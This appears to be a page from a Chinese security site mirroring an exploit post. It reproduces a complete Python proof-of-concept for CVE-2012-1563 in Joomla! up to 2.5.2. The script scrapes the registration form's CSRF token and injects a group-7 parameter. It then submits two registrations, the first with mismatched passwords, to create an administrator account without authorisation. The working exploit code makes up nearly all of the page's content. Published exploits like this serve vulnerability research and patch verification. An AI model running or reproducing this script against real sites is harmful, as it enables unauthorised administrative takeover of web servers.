首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla! < 2.5.2 - Admin Creation
来源:https://www.ambionics.io/blog 作者:Charles Fol 发布时间:2017-02-03  
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
 
import bs4
import requests
import random
 
 
url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
 
username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'
 
user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}
 
session = requests.Session()
 
# Grab original data from the form, including the CSRF token
 
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')
 
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
 
# Build our modified data array
 
user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
 
# First request will get denied because the two passwords are mismatched
 
response = session.post(action_url, data=data)
 
# The second will work
 
data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)
 
print("Account created for user: %s [%s]" % (username, email))
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GNU Screen 4.5.0 - Privilege E
·Joomla! < 3.6.4 - Admin TakeOv
·Geutebrueck GCore 1.3.8.42/1.4
·Man-db 2.6.7.1 - Privilege Esc
·Cisco WebEx - 'nativeMessaging
·Autodesk Backburner Manager 3
·Firefox nsSMILTimeContainer::N
·Haraka < 2.8.9 - Remote Comman
·Oracle OpenJDK Runtime Environ
·macOS 10.12.1 / iOS Kernel - '
·Microsoft Remote Desktop Clien
·macOS 10.12.1 / iOS Kernel - '
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved